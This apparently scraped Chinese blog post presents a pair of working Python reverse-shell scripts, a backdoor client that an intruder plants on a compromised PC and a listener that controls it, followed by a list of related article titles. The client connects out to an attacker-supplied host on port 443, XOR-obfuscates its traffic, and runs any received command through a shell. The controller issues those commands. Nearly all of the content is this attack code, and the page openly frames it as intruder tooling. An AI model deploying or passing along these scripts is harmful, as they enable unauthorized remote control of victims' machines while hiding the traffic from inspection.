一对简单的 reverse shell / shell
来源:互联网 发布:亿欧网 知乎 编辑:程序博客网 时间:2024/06/10 00:30
一对入门级别的 reverse shell (反弹shell)和 shell (控制端)。1、reverse shell (反弹端 client):入侵者用于成功入侵后放置于受控PC上的反弹程序,相当于一个backdoor,reverse shell把受控PC的信息通过网络反弹至入侵者远程管理控制端。代码如下:
#!/usr/bin/pythonimport socket, subprocess, sysRHOST = sys.argv[1]RPORT = 443s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((RHOST, RPORT))while True: # receive XOR encoded data from network socket data = s.recv(1024) # XOR the data again with a '\x41' to get back to normal data en_data = bytearray(data) for i in range(len(en_data)): en_data[i] ^= 0x41 # Execute the decode data as a command. # The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable comm = subprocess.Popen(str(en_data), shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE) comm.wait() STDOUT, STDERR = comm.communicate() print STDERR # Encode the output and send to RHOST en_STDOUT= bytearray(STDOUT) for i in range(len(en_STDOUT)): en_STDOUT[i] ^= 0x41 s.send(en_STDOUT)s.close()
2、shell (远程管理控制端 server)
控制端用于远程操控受控PC,并接收reverse shell 反弹端远程回联信息。相当于木马的管理主控端 server 。shell 代码如下:
#!usr/bin/pythonimport sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.bind(("0.0.0.0", 443))s.listen(2048)print "Listening on port 443... "(client, (ip, port)) = s.accept()print " recived connection from : ", ipwhile True: command = raw_input('~$ ') encode = bytearray(command) for i in range(len(encode)): encode[i] ^= 0x41 client.send(encode) en_data = client.recv(2048) decode = bytearray(en_data) for i in range(len(decode)): decode[i] ^= 0x41 print decodeclient.close()s.close()
3、 实际运行效果如下:
0 0
- 一对简单的 reverse shell / shell
- Shell的简单应用
- 简单的内核shell
- 简单的shell脚本
- 简单的Shell
- 简单的shell 成绩管理系统
- 一个简单的shell
- 实现简单的shell
- 简单的shell程序
- 简单shell的编写
- 实现简单的shell
- 简单的shell脚本
- 简单的Shell命令
- 简单的shell脚本
- 一个简单的shell
- Reverse Shell with Bash
- Reverse Shell Cheat Sheet
- Reverse Shell Cheat Sheet
- 滥用设计模式不如不用
- 数据库 'XXXX' 已打开,并且一次只能有一个用户访问。设置单用户 / 多用户
- Android知识点总结
- Python程序的执行过程 解释型语言和编译型语言
- Java AOP的实现机制
- 一对简单的 reverse shell / shell
- 第九节 五向按键
- Autolayout的Top Layout guide
- hadoop输出设置
- OpenCV中对Mat里面depth,dims,channels,step,data,elemSize和数据地址计算的理解
- 栈的实现
- web服务器、应用服务器、http服务器区别
- 《应试教育的死穴,恰在于堵死了孩子“犯错”的空间》读后感
- 一致性hash算法 - consistent hashing